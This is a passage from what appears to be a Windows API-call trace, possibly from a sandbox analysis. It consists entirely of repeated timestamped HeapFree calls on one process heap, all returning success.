hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0237.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0237.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0237.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0237.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0237.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0237.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0237.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0237.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0237.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff1b88 | out: hHeap=0x4f0000) returned 1 [0237.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff1b88 | out: hHeap=0x4f0000) returned 1 [0237.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0237.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0237.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0237.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0237.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0048 | out: hHeap=0x4f0000) returned 1 [0237.994] HeapFree (in: 